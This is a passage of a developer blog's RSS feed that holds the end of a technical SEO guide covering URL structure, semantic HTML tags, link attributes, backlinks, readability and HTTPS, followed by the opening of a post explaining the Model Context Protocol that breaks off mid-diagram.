&lt;p&gt;Lighthouse score for my portfolio page&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Tools like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://chromewebstore.google.com/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA; are very useful to measure the performance of a website and also tell you how to improve it.&lt;/p&gt;&#xA;&lt;p&gt;IMO this is one of the most overrated technical SEO basics&amp;rsquo; aspect.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-most-overlooked-aspect-of-a-technical-seo-checklist-well-designed-website-architecture&#34;&gt;The most overlooked aspect of a technical SEO checklist: Well-designed website architecture&lt;/h3&gt;&#xA;&lt;p&gt;Make sure the website has a structure that allows search engines to &amp;ldquo;understand&amp;rdquo; it. What do I mean? I mean that the website is organized in a logical and hierarchical way that is understandable.&lt;/p&gt;&#xA;&lt;p&gt;For example something similar to this:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674678/coffee-bytes/diagram-website-structure_kfhxde.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674678/coffee-bytes/diagram-website-structure_kfhxde.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Semantic structure of a website&#34; width=&#34;866&#34; height=&#34;398&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Semantic structure of a website&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h4 id=&#34;does-the-url-structure-matter-in-seo&#34;&gt;Does the URL structure matter in SEO?&lt;/h4&gt;&#xA;&lt;p&gt;Yes, and a lot, you can use the urls to give your website the structure you think is correct so that it is coherent with the architecture you plan, this makes it easier for search engines to “understand” your website.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve talked about this on my post &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/rest-api-best-practices-and-design/&#34;&gt;REST API: Best practices and design&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the following URLs, notice how there is no way to know if Nawapol is a movie, or a director or a documentary:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/session-9/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/50-first-dates/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/nawapol-thamrongrattanarit/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/salt-of-the-earth/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It would be best to provide them with a consistent and more explicit structure:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/movies/psychological-horror/session-9/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/movies/comedy/one-hundred-first-dates/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/documentaries/photography/salt-of-the-earth/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/directors/nawapol-thamrongrattanarit/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;youre-probably-not-using-the-correct-html-tags&#34;&gt;You&amp;rsquo;re probably not using the correct HTML tags&lt;/h3&gt;&#xA;&lt;h4 id=&#34;headings-and-seo&#34;&gt;Headings and SEO&lt;/h4&gt;&#xA;&lt;p&gt;Headings are the most important tags of your content, as they tell search engines how it is organized.&lt;/p&gt;&#xA;&lt;p&gt;Make sure you use only one h1 tag, and hierarchical h2 tags up to h6, using them to give a hierarchical structure to your website.&lt;/p&gt;&#xA;&lt;h4 id=&#34;html-allows-you-to-be-very-expressive-in-seo&#34;&gt;HTML allows you to be very expressive in SEO.&lt;/h4&gt;&#xA;&lt;p&gt;Make sure you use only one h1 tag, and hierarchical h2 tags up to h6, using them to give a hierarchical structure to your website.&#xA;There is much more to it than divs, anchors, img tags and video tags. HTML provides tags to help search engines and devices to better understand the content of a web page. Don&amp;rsquo;t just stick with those elements and research the rest of the HTML tags, such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;article&lt;/em&gt;: Self-contained content that could be distributed independently.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;section&lt;/em&gt;: Thematic grouping of content, typically with a heading.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;nav&lt;/em&gt;: Navigation links for the document or site.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;footer&lt;/em&gt;: Footer for a section or page, often containing metadata.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;datetime&lt;/em&gt;: Machine-readable date/time (used within &lt;em&gt;time&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;aside&lt;/em&gt;: Content tangentially related to the surrounding content.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;header&lt;/em&gt;: Introductory content or navigational aids for a section/page.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;progress&lt;/em&gt;: Displays the completion progress of a task.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;meter&lt;/em&gt;: Represents a scalar measurement within a known range.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;cite&lt;/em&gt;: Citation or reference to a creative work (e.g., book, article).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;q&lt;/em&gt;: Short inline quotation (browser usually adds quotes).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;pre&lt;/em&gt;: Preformatted text, preserving whitespace and line breaks.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;kbd&lt;/em&gt;: Keyboard input, indicating user-entered keys.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;samp&lt;/em&gt;: Sample output from a program or computing system.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;dfn&lt;/em&gt;: Defining instance of a term (often italicized).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;output&lt;/em&gt;: Represents the result of a calculation or user action.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;abbr&lt;/em&gt;: Abbreviation or acronym, optionally with a title for expansion.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;presence-of-internal-links&#34;&gt;Presence of internal links&lt;/h3&gt;&#xA;&lt;p&gt;They help search engines understand how your pages are related to each other. Make sure your links are valid and do not return 404 errors, and that the text you link to is related to the content of the linked page.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✅ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/how-to-code-clean-code&amp;#34;&lt;/span&gt;&amp;gt;How to code clean code&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✅ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/how-to-code-clean-code&amp;#34;&lt;/span&gt;&amp;gt;Learn how to code clean code&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;❌ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/how-to-code-clean-code&amp;#34;&lt;/span&gt;&amp;gt;Click here to read my new entry&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;presence-of-external-links&#34;&gt;Presence of external links&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;External links, consider it as a vote in favor towards other websites to indicate to search engines that the content you link to is important, research thoroughly about the attributes &lt;em&gt;nofollow&lt;/em&gt;, &lt;em&gt;follow&lt;/em&gt;, &lt;em&gt;ugc&lt;/em&gt; and &lt;em&gt;sponsored&lt;/em&gt; in the anchor tags and use them appropriately according to your intentions.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;follow&lt;/em&gt;, the default value, tells search engines that the site they link to should be positively valued.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;nofollow&lt;/em&gt;, search engines should not follow this link, ideal for advertising links, affiliate links or websites you want to link to but do not want them to be related to your content.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;ugc&lt;/em&gt;, acronym for “User generated content”, ideal for social networks.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;sponsored&lt;/em&gt;, sponsored link, usually advertising or affiliate links.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://example.org/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rel&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nofollow&amp;#34;&lt;/span&gt;&amp;gt;The example website&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://user-website.com&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rel&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ugc&amp;#34;&lt;/span&gt;&amp;gt;Just check my website&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;how-to-get-backlinks-for-seo-purposes&#34;&gt;How to get backlinks for SEO purposes&lt;/h4&gt;&#xA;&lt;p&gt;This is the hard part. Some people will tell you something like &amp;ldquo;Just do content worth sharing&amp;rdquo;, but most people don&amp;rsquo;t want to deal with the waiting phase; they decide to speed up the process and get more backlinks.&lt;/p&gt;&#xA;&lt;p&gt;Also, not all backlinks are created equally; links that come from reputable sites have more weight than those that have less authority, creating an unhealthy dynamic.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Big websites know that a single backlink can boost your site&amp;rsquo;s ranking, so they don&amp;rsquo;t usually give them for free, and there are some writers at those companies who request monetary compensation to place a backlink in an article.&lt;/p&gt;&#xA;&lt;p&gt;Sites where these services are being offered are an &lt;em&gt;open secret&lt;/em&gt;, despite going against Google&amp;rsquo;s policies.&lt;/p&gt;&#xA;&lt;p&gt;Other less questionable alternatives include guest posting, posting on forums, blogs, scanning websites, and offering your links instead of links that have shown a 404 HTTP status, creating banners or tools that people want to share.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-flesch-kincaid-test&#34;&gt;The Flesch Kincaid test&lt;/h3&gt;&#xA;&lt;p&gt;is a test based on the level of education required by a hypothetical reader to understand the content of your website, &lt;del&gt;unlike what your inflated ego thinks&lt;/del&gt;, the higher the score the easier it will be to understand, which is better because it will be available to more readers.&lt;/p&gt;&#xA;&lt;p&gt;Having said that, I would dare to say that the exact value does not matter so much, but that your text is easy to read and the reader flows through it.&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind that there are some plugins, like Yoast SEO if you use Wordpress, that take care of measuring it or you can program it yourself.&lt;/p&gt;&#xA;&lt;p&gt;I have left some aspects that I do not consider so important, but that maybe I will add later, the important thing here is that you understand that it is not just to set up a website and that&amp;rsquo;s it, but you have to polish it so that users can find it and use it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;https-instead-of-http&#34;&gt;HTTPS instead of HTTP&lt;/h3&gt;&#xA;&lt;p&gt;It is quite rare to find modern websites that do not use HTTPS, especially when it is the hosting platforms that are responsible for configuring the servers automatically. In any case, make sure that your website uses HTTPS instead of just HTTP, as search engines favor secure connections.&lt;/p&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s all for now, I will be adding more information to the article if I consider it pertinent as the days go by.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-stay-relevant-in-seo-in-the-ai-era&#34;&gt;How to stay relevant in SEO in the AI era?&lt;/h3&gt;&#xA;&lt;p&gt;The above leaves me wondering whether what&amp;rsquo;s valid today will be valid tomorrow. Perhaps websites that present more subjective aspects, opinions, and experiences will be more valuable SEO-wise in the future than information collections.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve also noticed that most websites that create landing pages and simple stuff, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/my-bolt-vs-lovable-vs-v0-vercel-comparison/&#34;&gt;like lovable, vercel 0, Bolt&lt;/a&gt;&#xA;, etc. leave aside most of the SEO related aspects.&lt;/p&gt;&#xA;&lt;p&gt;I also think transactional websites may forget about the first steps of the sales funnel (since AI can take care of that) and focus on the transaction.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m under the impression that text content will lose value because it will become a commodity created by AI (bad for me), but interactive or video websites may benefit from internet traffic.&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind that these are just some ideas; no one knows what will really happen.&lt;/p&gt;&#xA;&lt;p&gt;I just hope that whatever happens is good for the future of the web.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Previously I told you how &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;I made many mistakes in SEO&lt;/a&gt;&#xA; when I migrated my website from Wordpress to Hugo, after that I started watching a lot of videos about SEO, especially Romuald&amp;rsquo;s videos (He is one of the biggest SEO influencers in Spanish speaking countries), I&amp;rsquo;ve also read &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/42uNZrv&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The art of SEO&lt;/a&gt;&#xA; and I tried to summarize everything I learned from him and the book in a short post, just for you, before &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI overhype&lt;/a&gt;&#xA; explodes, taking SEO with it.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>I&#39;ll Help You Understand the Model Context Protocol or MCP</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/</link>
      <pubDate>Mon, 31 Mar 2025 18:00:32 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/</guid>
      
      <category>artificial intelligence</category>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;If you&amp;rsquo;re struggling to understand the Model Context Protocol, I feel you, I watched a lot of videos on it, but I just couldn&amp;rsquo;t understand it, so I took my notes about it and turned it into a post so you can understand it effortless, also I wrote a post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/how-to-create-a-mcp-server-and-mcp-tools-from-scratch/&#34;&gt;how to create a MCP server and MCP tools from scratch&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-was-the-model-context-protocol-created&#34;&gt;Why was the Model Context Protocol created?&lt;/h2&gt;&#xA;&lt;p&gt;One of the most convenient uses of LLMs is to use them to analyse or process our own data, for which there are several options, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;LLM fine-tuning&lt;/a&gt;&#xA; or RAG, or manually passing our data as context as part of the prompt.&lt;/p&gt;&#xA;&lt;p&gt;Anthropic members noticed this and proposed to standardise this process by creating a protocol for providing context and the ability to interact with systems to LLMs. Where does that context come from? Well, pretty much anywhere, Github, a database, your file system, an API (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/&#34;&gt;gPRC type&lt;/a&gt;&#xA;, REST or others), basically any source that can return information.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745694716/coffee-bytes/modex-context-protocol-basic-summary_jy2nct.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745694716/coffee-bytes/modex-context-protocol-basic-summary_jy2nct.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Example of MCP usage, user asks for the content of its own files, LLM reads them and replies&#34; width=&#34;1780&#34; height=&#34;621&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This protocol, called the Model Context Protocol, is being sold as the next AI revolution, will it be &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;just AI overhype and bubble&lt;/a&gt;&#xA; or a completely groundbreaking paradigm?&lt;/p&gt;&#xA;&lt;p&gt;Edit: MCP became the standard, and now it&amp;rsquo;s used in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-n8n-review-after-using-it-for-half-a-year/&#34;&gt;most automation tools that use LLMs, like n8n.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;MCP exists to act as a bridge between an LLM and contextual information, in a standardised and agnostic way. The key word here is &lt;em&gt;standardisation&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-the-model-context-protocol-or-mcp-work&#34;&gt;How does the Model Context Protocol or MCP work?&lt;/h2&gt;&#xA;&lt;p&gt;The MCP conforms to a client-server architecture.&lt;/p&gt;&#xA;&lt;h3 id=&#34;client-role-in-mcp&#34;&gt;Client role in MCP&lt;/h3&gt;&#xA;&lt;p&gt;A client that implements the Model Context Protocol can connect to an LLM and a set of MCP services or servers that provide it with the appropriate context it needs.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743559566/coffee-bytes/screenshot-claude-ai-ui_xdtpmk.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743559566/coffee-bytes/screenshot-claude-ai-ui_xdtpmk.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;A potential MCP Client&#34; width=&#34;912&#34; height=&#34;512&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;A potential MCP Client&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A MCP client represents the user interface to which we would normally pass our prompts; this interface may be Claude Desktop or some other equivalent.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(logos:anthropic-icon)[MCP]&#xA;&#xA;    service llm(logos:serverless)[LLM] in api&#xA;    service whatsapp(logos:whatsapp-icon)[MCP server Whatsapp] in api&#xA;    service mcp(logos:anthropic-icon)[MCP Client] in api&#xA;    service telegram(logos:telegram)[MCP server Telegram] in api&#xA;    service github(logos:github-icon)[MCP server Github] in api&#xA;    junction junctionCenter&#xA;&#xA;    llm:L &lt;--&gt; R:mcp&#xA;    mcp:L &lt;-- R:junctionCenter&#xA;    whatsapp:B &lt;-- T:junctionCenter&#xA;    telegram:T &lt;-- B:junctionCenter&#xA;    github:R &lt;-- 